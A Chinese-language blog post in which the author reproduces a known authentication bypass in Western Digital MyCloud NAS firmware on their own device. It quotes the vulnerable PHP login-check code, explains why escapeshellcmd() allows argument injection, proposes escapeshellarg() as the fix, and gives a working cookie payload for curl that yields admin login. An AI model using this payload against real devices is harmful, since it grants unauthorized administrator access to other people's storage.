西部数据MyCloud存在登陆认证绕过漏洞

2017/08/02 网络

因为我的笔记本电脑的空间太小了,所以考虑利用云储存来存放一些静态的数据。虽然百度云盘有免费2T的额度,但是上传下载速度非常慢,并且还要付费VIP会员才能享受高速下载,于是我选择了西部数据的MyCloud产品。

为了避免广告嫌疑,我这里只稍微提提我对这个产品的看法。这几乎是市面上性价比最高的NAS产品,不到千元能够拥有3000GB的私有空间,并且内置的3.5英寸硬盘是西部数据比较高端的NAS红盘,要知道这个硬盘(3TB)单价都快接近千元了。在千兆的网络环境下,这款产品支持高达60MB/s的读写能力,并且是无风扇设计,工作的时候非常安静。MyCloud已经内置了西部数据的NAS系统,只需要简单的设置就能立刻投入使用。最让我爱不惜手的是它原生支持apple的时间胶囊功能,非常简单就能部署apple的“时刻备份”。

最近在FreeBuf有一篇文章提到,西部数据的NAS系统发现几个漏洞,我在阅读完文章之后,尝试去利用该漏洞做简单的网络攻击。可以访问这里查看这篇文章。

0.漏洞挖掘

首先,主机的IP地址是192.168.199.218,MyCloud的IP地址是192.168.199.244,它们同一网段。我先利用SSH登陆MyCloud的后台查找漏洞的文件。

ssh root@192.168.199.244

顺利登陆之后,按照FreeBuf中提到的漏洞文件,顺利在这个目录下找到对应的login_checker.php

cd /var/www/web/lib/

1.查看代码

在这个文件里面有两个函数,首先看一看这个login_check函数。

function login_check()
{
        $ret = 0;
        if (isset($_SESSION['username']))
        {
                if (isset($_SESSION['username']) && $_SESSION['username'] != "")
                    $ret = 2; //login, normal user
                if ($_SESSION['isAdmin'] == 1)
                    $ret = 1; //login, admin
        }
        else if (isset($_COOKIE['username']))
        {
                if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
                    $ret = 2; //login, normal user

                if ($_COOKIE['isAdmin'] == 1)
                    $ret = 1; //login, admin

                if (wto_check($_COOKIE['username']) === 0) //wto check fail
                    $ret = 0;
        }
        return $ret;
}

它的作用是先检查session是否正确设置了username,并且根据isAdmin变量的值来判断是不是拥有管理员权限。如果session没有设置,那么就去询问cookie中是否正确了username,检查的思路是类似的。但是注意到有一点不同,那就是wto_check函数,它尝试第二次对cookie进行识别。下面是wto_check的定义,它的位置在/var/www/web/lib/login_checker.php中。

/*
  return value: 1: Login, 0: No login
*/
function wto_check($username)
{
        if (empty($username))
                return 0;

        exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
        if ($login_status[0] === "WTO CHECK OK")
                return 1;
        else
                return 0;
}
/* ret: 0: no login, 1: login, admin, 2: login, normal user */

上面可以看到,当$username非空的时候,它会尝试执行wto命令,其中参数是$username以及$_SERVER["REMOTE_ADDR"],其中后者代表的是请求方的IP地址。我们尝试查询wto命令是做什么用的?

# wto --h
Usage: wto [parm]
-h        help
-n        user name
-i        ip address
-s        set timeout
-g        get timer
-c        check timeout
-r        reset timer
-a        remove all
-x        del timeout item
-z        show all
-d        del user

到这里我们就知道了关于wto的一些参数信息了。回到上面的login_checker.php中,它尝试使用escapeshellcmd($username)来过滤恶意的输入,但是它不能阻止我们传入参数。所以可以利用这一点重新设置timeout的属性,然后就可以绕过认证了。(The programmer used the PHP function “escapeshellcmd()” which is used to escape an entire command (as opposed to a single argument) and doesn’t comment out new function arguments.)

这里应该建议使用escapeshellarg()来避免攻击。

2.构造攻击

使用任何基于PHP的RCE攻击,设置cookie就可以了,例如下面的语句(作为curl的参数)

--cookie "isAdmin=1;username=admin\" -s 1337 -c \""

3.效果

题外话

目前我更新了系统固件,该漏洞依旧存在。另一方面,西部数据的NAS系统还存在很多严重的漏洞,例如绕过认证上传文件、绕过认证远程执行命令漏洞等等,限于篇幅这里就不一一展示了,希望读者阅读之后能够有所收获。

More

这次实验花了我一个晚上的时间,收获很多很多,例如加深了对RCE的理解,如何过滤恶意的输入以及NFS协议的细节。通过抓包和控制台检测整个通信的过程,并成功向MyCloud注入了命令,非常好玩!不过很遗憾的是,因为我利用SSH登陆了后台,所以这台机器已经失去了【保修】的资格。谢谢各位看官。

Search

    Table of Contents